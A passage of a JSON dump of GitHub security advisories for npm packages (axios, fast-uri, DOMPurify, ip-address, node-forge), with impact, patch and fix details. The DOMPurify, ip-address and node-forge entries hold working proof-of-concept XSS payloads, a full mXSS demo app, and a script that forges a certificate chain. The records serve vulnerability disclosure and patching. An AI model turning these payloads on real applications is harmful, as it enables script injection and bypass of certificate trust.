2_loopback_confirmed\" src=\"https://github.com/user-attachments/assets/23bf1ab8-1bd6-4f39-88a7-93c518d72990\" /\u003e\n\n**Reason 4 \u2014 The Proposed Fix Has Zero Performance Impact**\nThe existing solution uses a `Set.has()` lookup an O(1) operation. The proposed fix replaces this with:\n\n1. Two direct string comparisons (`\u0027localhost\u0027`, `\u0027::1\u0027`) \u2014 O(1)\n2. A `split(\u0027.\u0027)` and array validation \u2014 O(1) with a fixed-length array of 4 elements\nThe computational cost is **equivalent or lower** than the current approach, and the fix introduces no new external dependencies.\n\n**Reason 5 \u2014 The Fix Is Minimal and Surgical**\nThe proposed change modifies only **3 lines** of a single file. It does not alter:\n\n* The `parseNoProxyEntry()` function\n* The `normalizeNoProxyHost()` function\n* The `shouldBypassProxy()` main function logic\n* Any other file in the codebase\n \nThis minimises regression risk and makes the fix straightforward to review, test, and backport to older supported branches.\n\n**Reason 6 \u2014 Resilient to Alternative IP Encodings**\nBecause Axios normalises the request URL using Node\u0027s native `new URL()` parser before passing it to `shouldBypassProxy()`, alternative IP encodings (such as octal `0177.0.0.1`, hex `0x7f.0.0.1`, or integer `2130706433`) are already resolved into their standard IPv4 dotted-decimal format. This means the proposed `.split(\u0027.\u0027)` validation logic is completely robust and cannot be bypassed using URL-encoded IP obfuscation techniques.\n\n**5.5 Additional Recommendation \u2014 IPv6 Loopback Range**\n\nWhile the primary bypass demonstrated in this report targets the IPv4 `127.0.0.0/8` range, the Axios team should also consider validating the full IPv6 loopback representation. The current implementation recognises only `::1`. A more complete check would also handle the full-form notation:\n\n```\n// Additional IPv6 loopback representations to consider:\n\u00270:0:0:0:0:0:0:1\u0027      // Full notation of ::1\n\u0027::ffff:127.0.0.1\u0027     // IPv4-mapped IPv6 loopback\n\u0027::ffff:7f00:1\u0027        // Hex IPv4-mapped IPv6 loopback\n```\nNormalising these representations before comparison would make the NO_PROXY implementation comprehensively RFC-compliant across both IPv4 and IPv6 address families.",
  "id": "GHSA-pmwg-cvhr-8vh7",
  "modified": "2026-05-05T00:20:58Z",
  "published": "2026-05-05T00:20:58Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/axios/axios/security/advisories/GHSA-pmwg-cvhr-8vh7"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-42043"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/axios/axios"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Axios: Incomplete Fix for CVE-2025-62718 \u2014 NO_PROXY Protection Bypassed via RFC 1122 Loopback Subnet (127.0.0.0/8) in Axios 1.15.0"
}

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 3.1.1"
      },
      "package": {
        "ecosystem": "npm",
        "name": "fast-uri"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3.1.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-6322"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-436"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-08T19:13:01Z",
    "nvd_published_at": "2026-05-05T11:16:33Z",
    "severity": "HIGH"
  },
  "details": "### Impact\n\n`fast-uri` v3.1.1 and earlier decodes percent-encoded authority delimiters (`%40` as `@`, `%3A` as `:`) inside the host component and serializes them back as raw characters. This changes the URI structure, turning a hostname into userinfo plus a different host.\n\nFor example, `http://trusted.com%40evil.com/` normalizes to `http://trusted.com@evil.com/`, which reparses as host `evil.com` with userinfo `trusted.com`.\n\nApplications that normalize untrusted URLs before host allowlist checks, redirect validation, or outbound request routing can be steered to a different authority than the original URL appeared to contain.\n\n### Patches\n\nUpgrade to `fast-uri` \u003e= 3.1.2.\n\n### Workarounds\n\nNone. Upgrade to the patched version.",
  "id": "GHSA-v39h-62p7-jpjc",
  "modified": "2026-05-08T19:13:01Z",
  "published": "2026-05-08T19:13:01Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/fastify/fast-uri/security/advisories/GHSA-v39h-62p7-jpjc"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-6322"
    },
    {
      "type": "WEB",
      "url": "https://cna.openjsf.org/security-advisories.html"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/fastify/fast-uri"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "fast-uri vulnerable to host confusion via percent-encoded authority delimiters"
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "dompurify"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3.3.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-79"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-27T20:41:29Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "## Description\n\nA mutation-XSS (mXSS) condition was confirmed when sanitized HTML is reinserted into a new parsing context using `innerHTML` and special wrappers. The vulnerable wrappers confirmed in browser behavior are `script`, `xmp`, `iframe`, `noembed`, `noframes`, and `noscript`. The payload remains seemingly benign after `DOMPurify.sanitize()`, but mutates during the second parse into executable markup with an event handler, enabling JavaScript execution in the client (`alert(1)` in the PoC).\n\n\n## Vulnerability\n\nThe root cause is context switching after sanitization: sanitized output is treated as trusted and concatenated into a wrapper string (for example, `\u003cxmp\u003e ... \u003c/xmp\u003e` or other special wrappers) before being reparsed by the browser. In this flow, attacker-controlled text inside an attribute (for example `\u003c/xmp\u003e` or equivalent closing sequences for each wrapper) closes the special parsing context early and reintroduces attacker markup (`\u003cimg ... onerror=...\u003e`) outside the original attribute context. DOMPurify sanitizes the original parse tree, but the application performs a second parse in a different context, reactivating dangerous tokens (classic mXSS pattern).\n\n## PoC\n\n1. Start the PoC app:\n```bash\nnpm install\nnpm start\n```\n\n2. Open `http://localhost:3001`.\n3. Set `Wrapper en sink` to `xmp`.\n4. Use payload:\n```html\n \u003cimg src=x alt=\"\u003c/xmp\u003e\u003cimg src=x onerror=alert(\u0027expoc\u0027)\u003e\"\u003e\n```\n\n5. Click `Sanitize + Render`.\n6. Observe:\n- `Sanitized response` still contains the `\u003c/xmp\u003e` sequence inside `alt`.\n- The sink reparses to include `\u003cimg src=\"x\" onerror=\"alert(\u0027expoc\u0027)\"\u003e`.\n- `alert(\u0027expoc\u0027)` is triggered.\n7. Files:\n- index.html\n\n```html\n\u003c!doctype html\u003e\n\u003chtml lang=\"en\"\u003e\n  \u003chead\u003e\n    \u003cmeta charset=\"utf-8\"\u003e\n    \u003cmeta name=\"viewport\" content=\"width=device-width, initial-scale=1\"\u003e\n    \u003ctitle\u003eexpoc - DOMPurify SSR PoC\u003c/title\u003e\n    \u003cstyle\u003e\n      :root {\n        --bg: #f7f8fb;\n        --panel: #ffffff;\n        --line: #d8dce6;\n        --text: #0f172a;\n        --muted: #475569;\n        --accent: #0ea5e9;\n      }\n\n      * {\n        box-sizing: border-box;\n      }\n\n      body {\n        margin: 0;\n        font-family: \"SF Mono\", Menlo, Consolas, monospace;\n        color: var(--text);\n        background: radial-gradient(circle at 10% 0%, #e0f2fe 0%, var(--bg) 60%);\n      }\n\n      main {\n        max-width: 980px;\n        margin: 28px auto;\n        padding: 0 16px 20px;\n      }\n\n      h1 {\n        margin: 0 0 10px;\n        font-size: 1.45rem;\n      }\n\n      p {\n        margin: 0;\n        color: var(--muted);\n      }\n\n      .grid {\n        display: grid;\n        gap: 14px;\n        margin-top: 16px;\n      }\n\n      .card {\n        background: var(--panel);\n        border: 1px solid var(--line);\n        border-radius: 12px;\n        padding: 14px;\n      }\n\n      label {\n        display: block;\n        margin-bottom: 7px;\n        font-size: 0.85rem;\n        color: var(--muted);\n      }\n\n      textarea,\n      input,\n      select,\n      button {\n        width: 100%;\n        border: 1px solid var(--line);\n        border-radius: 8px;\n        padding: 9px 10px;\n        font: inherit;\n        background: #fff;\n      }\n\n      textarea {\n        min-height: 110px;\n        resize: vertical;\n      }\n\n      .row {\n        display: grid;\n        grid-template-columns: 1fr 230px;\n        gap: 12px;\n      }\n\n      button {\n        cursor: pointer;\n        background: var(--accent);\n        color: #fff;\n        border-color: #0284c7;\n      }\n\n      #sink {\n        min-height: 90px;\n        border: 1px dashed #94a3b8;\n        border-radius: 8px;\n        padding: 10px;\n        background: #f8fafc;\n      }\n\n      pre {\n        margin: 0;\n        white-space: pre-wrap;\n        word-break: break-word;\n      }\n\n      .note {\n        margin-top: 8px;\n        font-size: 0.85rem;\n      }\n\n      .status-grid {\n        display: grid;\n        grid-template-columns: repeat(auto-fit, minmax(180px, 1fr));\n        gap: 8px;\n        margin-top: 10px;\n      }\n\n      .status-item {\n        border: 1px solid var(--line);\n        border-radius: 8px;\n        padding: 8px 10px;\n        font-size: 0.85rem;\n        background: #fff;\n      }\n\n      .status-item.vuln {\n        border-color: #ef4444;\n        background: #fef2f2;\n      }\n\n      .status-item.safe {\n        border-color: #22c55e;\n        background: #f0fdf4;\n      }\n\n      @media (max-width: 760px) {\n        .row {\n          grid-template-columns: 1fr;\n        }\n      }\n    \u003c/style\u003e\n  \u003c/head\u003e\n  \u003cbody\u003e\n    \u003cmain\u003e\n      \u003ch1\u003eexpoc - DOMPurify Server-Side PoC\u003c/h1\u003e\n      \u003cp\u003e\n        Flujo: input -\u003e POST /sanitize (Node + jsdom + DOMPurify) -\u003e render vulnerable con innerHTML.\n      \u003c/p\u003e\n\n      \u003cdiv class=\"grid\"\u003e\n        \u003csection class=\"card\"\u003e\n          \u003clabel for=\"payload\"\u003ePayload\u003c/label\u003e\n          \u003ctextarea id=\"payload\"\u003e\u003cimg src=x alt=\"\u003c/script\u003e\u003cimg src=x onerror=alert(\u0027expoc\u0027)\u003e\"\u003e\u003c/textarea\u003e\n          \u003cdiv class=\"row\" style=\"margin-top: 10px;\"\u003e\n            \u003cdiv\u003e\n              \u003clabel for=\"wrapper\"\u003eWrapper en sink\u003c/label\u003e\n              \u003cselect id=\"wrapper\"\u003e\n                \u003coption value=\"div\"\u003ediv\u003c/option\u003e\n                \u003coption value=\"textarea\"\u003etextarea\u003c/option\u003e\n                \u003coption value=\"title\"\u003etitle\u003c/option\u003e\n                \u003coption value=\"style\"\u003estyle\u003c/option\u003e\n                \u003coption value=\"script\" selected\u003escript\u003c/option\u003e\n                \u003coption value=\"xmp\"\u003exmp\u003c/option\u003e\n                \u003coption value=\"iframe\"\u003eiframe\u003c/option\u003e\n                \u003coption value=\"noembed\"\u003enoembed\u003c/option\u003e\n                \u003coption value=\"noframes\"\u003enoframes\u003c/option\u003e\n                \u003coption value=\"noscript\"\u003enoscript\u003c/option\u003e\n              \u003c/select\u003e\n            \u003c/div\u003e\n            \u003cdiv style=\"display:flex;align-items:end;\"\u003e\n              \u003cbutton id=\"run\" type=\"button\"\u003eSanitize + Render\u003c/button\u003e\n            \u003c/div\u003e\n          \u003c/div\u003e\n          \u003cp class=\"note\"\u003eSe usa render vulnerable: \u003ccode\u003esink.innerHTML = \u0027\u0026lt;wrapper\u0026gt;\u0027 + sanitized + \u0027\u0026lt;/wrapper\u0026gt;\u0027\u003c/code\u003e.\u003c/p\u003e\n          \u003cdiv class=\"status-grid\"\u003e\n            \u003cdiv class=\"status-item vuln\"\u003escript (vulnerable)\u003c/div\u003e\n            \u003cdiv class=\"status-item vuln\"\u003exmp (vulnerable)\u003c/div\u003e\n            \u003cdiv class=\"status-item vuln\"\u003eiframe (vulnerable)\u003c/div\u003e\n            \u003cdiv class=\"status-item vuln\"\u003enoembed (vulnerable)\u003c/div\u003e\n            \u003cdiv class=\"status-item vuln\"\u003enoframes (vulnerable)\u003c/div\u003e\n            \u003cdiv class=\"status-item vuln\"\u003enoscript (vulnerable)\u003c/div\u003e\n            \u003cdiv class=\"status-item safe\"\u003ediv (no vulnerable)\u003c/div\u003e\n            \u003cdiv class=\"status-item safe\"\u003etextarea (no vulnerable)\u003c/div\u003e\n            \u003cdiv class=\"status-item safe\"\u003etitle (no vulnerable)\u003c/div\u003e\n            \u003cdiv class=\"status-item safe\"\u003estyle (no vulnerable)\u003c/div\u003e\n          \u003c/div\u003e\n        \u003c/section\u003e\n\n        \u003csection class=\"card\"\u003e\n          \u003clabel\u003eSanitized response\u003c/label\u003e\n          \u003cpre id=\"sanitized\"\u003e(empty)\u003c/pre\u003e\n        \u003c/section\u003e\n\n        \u003csection class=\"card\"\u003e\n          \u003clabel\u003eSink\u003c/label\u003e\n          \u003cdiv id=\"sink\"\u003e\u003c/div\u003e\n        \u003c/section\u003e\n      \u003c/div\u003e\n    \u003c/main\u003e\n\n    \u003cscript\u003e\n      const payload = document.getElementById(\u0027payload\u0027);\n      const wrapper = document.getElementById(\u0027wrapper\u0027);\n      const run = document.getElementById(\u0027run\u0027);\n      const sanitizedNode = document.getElementById(\u0027sanitized\u0027);\n      const sink = document.getElementById(\u0027sink\u0027);\n\n      run.addEventListener(\u0027click\u0027, async () =\u003e {\n        const response = await fetch(\u0027/sanitize\u0027, {\n          method: \u0027POST\u0027,\n          headers: { \u0027Content-Type\u0027: \u0027application/json\u0027 },\n          body: JSON.stringify({ input: payload.value })\n        });\n\n        const data = await response.json();\n        const sanitized = data.sanitized || \u0027\u0027;\n        const w = wrapper.value;\n\n        sanitizedNode.textContent = sanitized;\n        sink.innerHTML = \u0027\u003c\u0027 + w + \u0027\u003e\u0027 + sanitized + \u0027\u003c/\u0027 + w + \u0027\u003e\u0027;\n      });\n    \u003c/script\u003e\n  \u003c/body\u003e\n\u003c/html\u003e\n```\n\n- server.js\n\n```js\nconst express = require(\u0027express\u0027);\nconst path = require(\u0027path\u0027);\nconst { JSDOM } = require(\u0027jsdom\u0027);\nconst createDOMPurify = require(\u0027dompurify\u0027);\n\nconst app = express();\nconst port = process.env.PORT || 3001;\n\nconst window = new JSDOM(\u0027\u0027).window;\nconst DOMPurify = createDOMPurify(window);\n\napp.use(express.json());\napp.use(express.static(path.join(__dirname, \u0027public\u0027)));\n\napp.get(\u0027/health\u0027, (_req, res) =\u003e {\n  res.json({ ok: true, service: \u0027expoc\u0027 });\n});\n\napp.post(\u0027/sanitize\u0027, (req, res) =\u003e {\n  const input = typeof req.body?.input === \u0027string\u0027 ? req.body.input : \u0027\u0027;\n  const sanitized = DOMPurify.sanitize(input);\n  res.json({ sanitized });\n});\n\napp.listen(port, () =\u003e {\n  console.log(`expoc running at http://localhost:${port}`);\n});\n```\n\n- package.json\n\n```json\n{\n  \"name\": \"expoc\",\n  \"version\": \"1.0.0\",\n  \"main\": \"server.js\",\n  \"scripts\": {\n    \"test\": \"echo \\\"Error: no test specified\\\" \u0026\u0026 exit 1\",\n    \"start\": \"node server.js\",\n    \"dev\": \"node server.js\"\n  },\n  \"keywords\": [],\n  \"author\": \"\",\n  \"license\": \"ISC\",\n  \"description\": \"\",\n  \"dependencies\": {\n    \"dompurify\": \"^3.3.1\",\n    \"express\": \"^5.2.1\",\n    \"jsdom\": \"^28.1.0\"\n  }\n}\n```\n\n## Evidence\n\n- PoC\n\n[daft-video.webm](https://github.com/user-attachments/assets/499a593d-0241-4ab8-95a9-cf49a00bda90)\n\n- XSS triggered\n\u003cimg width=\"2746\" height=\"1588\" alt=\"daft-img\" src=\"https://github.com/user-attachments/assets/1f463c14-d5a3-4c93-94e4-12d2d02c7d15\" /\u003e\n\n## Why This Happens\nThis is a mutation-XSS pattern caused by a parse-context mismatch:\n\n- Parse 1 (sanitization phase): input is interpreted under normal HTML parsing rules.\n- Parse 2 (sink phase): sanitized output is embedded into a wrapper that changes parser state (`xmp` raw-text behavior).\n- Attacker-controlled sequence (`\u003c/xmp\u003e`) gains structural meaning in parse 2 and alters DOM structure.\n\nSanitization is not a universal guarantee across all future parsing contexts. The sink design reintroduces risk.\n\n## Remediation Guidance\n1. Do not concatenate sanitized strings into new HTML wrappers followed by `innerHTML`.\n2. Keep the rendering context stable from sanitize to sink.\n3. Prefer DOM-safe APIs (`textContent`, `createElement`, `setAttribute`) over string-based HTML composition.\n4. If HTML insertion is required, sanitize as close as possible to final insertion context and avoid wrapper constructs with raw-text semantics (`xmp`, `script`, etc.).\n5. Add regression tests for context-switch/mXSS payloads (including `\u003c/xmp\u003e`, `\u003c/noscript\u003e`, similar parser-breakout markers).\n\nReported by Oscar Uribe, Security Researcher at Fluid Attacks. Camilo Vera and Cristian Vargas from the Fluid Attacks Research Team have identified a mXSS via Re-Contextualization in DomPurify 3.3.1.\n\nFollowing Fluid Attacks [Disclosure Policy](https://fluidattacks.com/advisories/policy), if this report corresponds to a vulnerability and the conditions outlined in the policy are met, this advisory will be published on the website over the next few days (the timeline may vary depending on maintainers\u0027 willingness to attend to and respond to this report) at the following URL: https://fluidattacks.com/advisories/daft\n\nAcknowledgements: [Camilo Vera](https://github.com/caverav/) and [Cristian Vargas](https://github.com/tachote).",
  "id": "GHSA-h8r8-wccr-v5f2",
  "modified": "2026-03-27T20:41:29Z",
  "published": "2026-03-27T20:41:29Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/cure53/DOMPurify/security/advisories/GHSA-h8r8-wccr-v5f2"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/cure53/DOMPurify"
    },
    {
      "type": "WEB",
      "url": "https://github.com/cure53/DOMPurify/releases/tag/3.3.2"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "DOMPurify is vulnerable to mutation-XSS via Re-Contextualization "
}

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 10.1.0"
      },
      "package": {
        "ecosystem": "npm",
        "name": "ip-address"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "10.1.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-42338"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-79"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-05T21:50:58Z",
    "nvd_published_at": "2026-05-12T20:16:41Z",
    "severity": "MODERATE"
  },
  "details": "### Summary\n\n`Address6.group()` and `Address6.link()` do not HTML-escape attacker-controlled content before embedding it in the HTML strings they return, and `AddressError.parseMessage` (emitted by the `Address6` constructor for invalid input) can contain unescaped attacker-controlled content in one branch. An application that (1) passes untrusted input to `Address6` and (2) renders the output of these methods, or the thrown error\u0027s `parseMessage`, as HTML (e.g. via `innerHTML`) is vulnerable to cross-site scripting. A related issue in `v6.helpers.spanAll()` produced malformed markup but was not exploitable; it is hardened in the same release for consistency.\n\n### Details\n\nFour related issues were identified and fixed together:\n\n1. **`Address6.group()`: zone ID injection.** The `Address6` constructor stores the raw input (including any IPv6 zone ID) in `this.address` before zone stripping. `group()` then passed `this.address` to `helpers.simpleGroup()`, which wrapped each `:`-separated segment in a `\u003cspan\u003e` element without HTML-escaping the content. A zone ID containing HTML markup was embedded verbatim.\n2. **`Address6.link({ prefix, className })`: attribute-value injection.** `link()` concatenated user-supplied `prefix` and `className` into the `href=\"\u2026\"` and `class=\"\u2026\"` attributes without escaping. A caller passing untrusted content through these options could inject event handlers (e.g. `onmouseover`) and achieve XSS.\n3. **`Address6` constructor: leading-zero IPv4 error path.** The leading-zero branch in `parse4in6()` built `AddressError.parseMessage` by concatenating the raw address through `String.replace()`. Because `parse4in6()` runs before the bad-character check, any characters in the groups preceding the IPv4 suffix flowed into the error\u0027s HTML unescaped. Consumers who render `parseMessage` as HTML (its documented purpose \u2014 it already contains `\u003cspan class=\"parse-error\"\u003e` markup) could be XSS\u0027d by a crafted input such as `\u003cimg src=x onerror=alert(1)\u003e:10.0.01.1`.\n4. **`v6.helpers.spanAll()`: attribute-value injection (defense in depth).** `spanAll()` embedded each character of its input into a `class=\"digit value-${n} \u2026\"` attribute without escaping. Because `split(\u0027\u0027)` limits `n` to a single character this was not exploitable in practice, but it produced malformed markup and is fixed for consistency.\n\n### Affected Versions\n\nAll versions up to and including `10.1.0`.\n\n### Patched Version\n\n`10.1.1`.\n\n### Impact\n\nReal-world exposure is believed to be extremely limited. Analysis of all 425 dependent npm packages as well as GitHub code search found zero consumers of `group()`, `link()`, or `spanAll()`: these HTML-emitting surfaces appear to be unused across published npm packages and public repositories. Applications using only the address-parsing and comparison APIs (`isValid`, `correctForm`, `isInSubnet`, `bigInt`, etc.) are not affected.\n\nConsumers who **do** render the output of `group()`, `link()`, `spanAll()`, or `AddressError.parseMessage` as HTML against untrusted input should upgrade.\n\n### PoC\n\n```javascript\nconst { Address6 } = require(\u0027ip-address\u0027);\nconst addr = new Address6(\u0027fe80::1%\u003cimg src=x onerror=alert(1)\u003e\u0027);\ndocument.body.innerHTML = addr.group();  // fires the onerror handler in 10.1.0\n```\n\n### Workarounds\n\nIf users cannot upgrade immediately:\n\n- Do not pass untrusted input to the `Address6` constructor, or\n- Never render the output of `group()`, `link()`, or `spanAll()`, nor the `parseMessage` field of any thrown `AddressError`, as HTML; treat these values as text only, or run them through [DOMPurify](https://github.com/cure53/DOMPurify) before inserting into the DOM (DOMPurify\u0027s default configuration preserves the library\u0027s intended `\u003cspan\u003e` wrapping while stripping any injected event handlers), or\n- Validate input with `Address6.isValid()` and reject anything that contains a zone identifier (a `%` character) or characters outside `[0-9a-fA-F:/]` before passing it to the constructor.\n\n### Lack of separate CVEs\n\nGiven the evidence that these methods are not used, and given that they are all of the same construction, maintainers do not think it\u0027s relevant or useful to create a separate CVE for each library method.\n\n### Credit\n\nip-address thanks @scovetta for reporting this issue.",
  "id": "GHSA-v2v4-37r5-5v8g",
  "modified": "2026-05-13T16:27:24Z",
  "published": "2026-05-05T21:50:58Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/beaugunderson/ip-address/security/advisories/GHSA-v2v4-37r5-5v8g"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-42338"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/beaugunderson/ip-address"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "ip-address has XSS in Address6 HTML-emitting methods"
}

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 1.3.3"
      },
      "package": {
        "ecosystem": "npm",
        "name": "node-forge"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.4.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-33896"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-295"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-26T22:05:43Z",
    "nvd_published_at": "2026-03-27T21:17:26Z",
    "severity": "HIGH"
  },
  "details": "## Summary\n\n`pki.verifyCertificateChain()` does not enforce RFC 5280 basicConstraints requirements when an intermediate certificate lacks both the `basicConstraints` and `keyUsage` extensions. This allows any leaf certificate (without these extensions) to act as a CA and sign other certificates, which node-forge will accept as valid.\n\n## Technical Details\n\nIn `lib/x509.js`, the `verifyCertificateChain()` function (around lines 3147-3199) has two conditional checks for CA authorization:\n\n1. The `keyUsage` check (which includes a sub-check requiring `basicConstraints` to be present) is gated on `keyUsageExt !== null`\n2. The `basicConstraints.cA` check is gated on `bcExt !== null`\n\nWhen a certificate has **neither** extension, both checks are skipped entirely. The certificate passes all CA validation and is accepted as a valid intermediate CA.\n\n**RFC 5280 Section 6.1.4 step (k) requires:**\n\u003e \"If certificate i is a version 3 certificate, verify that the basicConstraints extension is present and that cA is set to TRUE.\"\n\nThe absence of `basicConstraints` should result in rejection, not acceptance.\n\n## Proof of Concept\n\n```javascript\nconst forge = require(\u0027node-forge\u0027);\nconst pki = forge.pki;\n\nfunction generateKeyPair() {\n  return pki.rsa.generateKeyPair({ bits: 2048, e: 0x10001 });\n}\n\nconsole.log(\u0027=== node-forge basicConstraints Bypass PoC ===\\n\u0027);\n\n// 1. Create a legitimate Root CA (self-signed, with basicConstraints cA=true)\nconst rootKeys = generateKeyPair();\nconst rootCert = pki.createCertificate();\nrootCert.publicKey = rootKeys.publicKey;\nrootCert.serialNumber = \u002701\u0027;\nrootCert.validity.notBefore = new Date();\nrootCert.validity.notAfter = new Date();\nrootCert.validity.notAfter.setFullYear(rootCert.validity.notBefore.getFullYear() + 10);\n\nconst rootAttrs = [\n  { name: \u0027commonName\u0027, value: \u0027Legitimate Root CA\u0027 },\n  { name: \u0027organizationName\u0027, value: \u0027PoC Security Test\u0027 }\n];\nrootCert.setSubject(rootAttrs);\nrootCert.setIssuer(rootAttrs);\nrootCert.setExtensions([\n  { name: \u0027basicConstraints\u0027, cA: true, critical: true },\n  { name: \u0027keyUsage\u0027, keyCertSign: true, cRLSign: true, critical: true }\n]);\nrootCert.sign(rootKeys.privateKey, forge.md.sha256.create());\n\n// 2. Create a \"leaf\" certificate signed by root \u2014 NO basicConstraints, NO keyUsage\n//    This certificate should NOT be allowed to sign other certificates\nconst leafKeys = generateKeyPair();\nconst leafCert = pki.createCertificate();\nleafCert.publicKey = leafKeys.publicKey;\nleafCert.serialNumber = \u002702\u0027;\nleafCert.validity.notBefore = new Date();\nleafCert.validity.notAfter = new Date();\nleafCert.validity.notAfter.setFullYear(leafCert.validity.notBefore.getFullYear() + 5);\n\nconst leafAttrs = [\n  { name: \u0027commonName\u0027, value: \u0027Non-CA Leaf Certificate\u0027 },\n  { name: \u0027organizationName\u0027, value: \u0027PoC Security Test\u0027 }\n];\nleafCert.setSubject(leafAttrs);\nleafCert.setIssuer(rootAttrs);\n// NO basicConstraints extension \u2014 NO keyUsage extension\nleafCert.sign(rootKeys.privateKey, forge.md.sha256.create());\n\n// 3. Create a \"victim\" certificate signed by the leaf\n//    This simulates an attacker using a non-CA cert to forge certificates\nconst victimKeys = generateKeyPair();\nconst victimCert = pki.createCertificate();\nvictimCert.publicKey = victimKeys.publicKey;\nvictimCert.serialNumber = \u002703\u0027;\nvictimCert.validity.notBefore = new Date();\nvictimCert.validity.notAfter = new Date();\nvictimCert.validity.notAfter.setFullYear(victimCert.validity.notBefore.getFullYear() + 1);\n\nconst victimAttrs = [\n  { name: \u0027commonName\u0027, value: \u0027victim.example.com\u0027 },\n  { name: \u0027organizationName\u0027, value: \u0027Victim Corp\u0027 }\n];\nvictimCert.setSubject(victimAttrs);\nvictimCert.setIssuer(leafAttrs);\nvictimCert.sign(leafKeys.privateKey, forge.md.sha256.create());\n\n// 4. Verify the chain: root -\u003e leaf -\u003e victim\nconst caStore = pki.createCaStore([rootCert]);\n\ntry {\n  const result = pki.verifyCertificateChain(caStore, [victimCert, leafCert]);\n  console.log(\u0027[VULNERABLE] Chain verification SUCCEEDED: \u0027 + result);\n  console.log(\u0027  node-forge accepted a non-CA certificate as an intermediate CA!\u0027);\n  console.log(\u0027  This violates RFC 5280 Section 6.1.4.\u0027);\n} catch (e) {\n  console.log(\u0027[SECURE] Chain verification FAILED (expected): \u0027 + e.message);\n}\n```\n\n**Results:**\n- Certificate with NO extensions: **ACCEPTED as CA** (vulnerable \u2014 violates RFC 5280)\n- Certificate with `basicConstraints.cA=false`: correctly rejected\n- Certificate with `keyUsage` (no `keyCertSign`): correctly rejected\n- Proper intermediate CA (control): correctly accepted\n\n## Attack Scenario\n\nAn attacker who obtains any valid leaf certificate (e.g., a regular TLS certificate for `attacker.com`) that lacks `basicConstraints` and `keyUsage` extensions can use it to sign certificates for ANY domain. Any application using node-forge\u0027s `verifyCertificateChain()` will accept the forged chain.\n\nThis affects applications using node-forge for:\n- Custom PKI / certificate pinning implementations\n- S/MIME / PKCS#7 signature verification\n- IoT device certificate validation\n- Any non-native-TLS certificate chain verification\n\n## CVE Precedent\n\nThis is the same vulnerability class as:\n- **CVE-2014-0092** (GnuTLS) \u2014 certificate verification bypass\n- **CVE-2015-1793** (OpenSSL) \u2014 alternative chain verification bypass\n- **CVE-2020-0601** (Windows CryptoAPI) \u2014 crafted certificate acceptance\n\n## Not a Duplicate\n\nThis is distinct from:\n- CVE-2025-12816 (ASN.1 parser desynchronization \u2014 different code path)\n- CVE-2025-66030/66031 (DoS and integer overflow \u2014 different issue class)\n- GitHub issue #1049 (null subject/issuer \u2014 different malformation)\n\n## Suggested Fix\n\nAdd an explicit check for absent `basicConstraints` on non-leaf certificates:\n\n```javascript\n// After the keyUsage check block, BEFORE the cA check:\nif(error === null \u0026\u0026 bcExt === null) {\n  error = {\n    message: \u0027Certificate is missing basicConstraints extension and cannot be used as a CA.\u0027,\n    error: pki.certificateError.bad_certificate\n  };\n}\n```\n\n## Disclosure Timeline\n\n- 2026-03-10: Report submitted via GitHub Security Advisory\n- 2026-06-08: 90-day coordinated disclosure deadline\n\n## Credits\n\nDiscovered and reported by Doruk Tan Ozturk ([@peaktwilight](https://github.com/peaktwilight)) \u2014 [doruk.ch](https://doruk.ch)",
  "id": "GHSA-2328-f5f3-gj25",
  "modified": "2026-03-27T21:51:17Z",
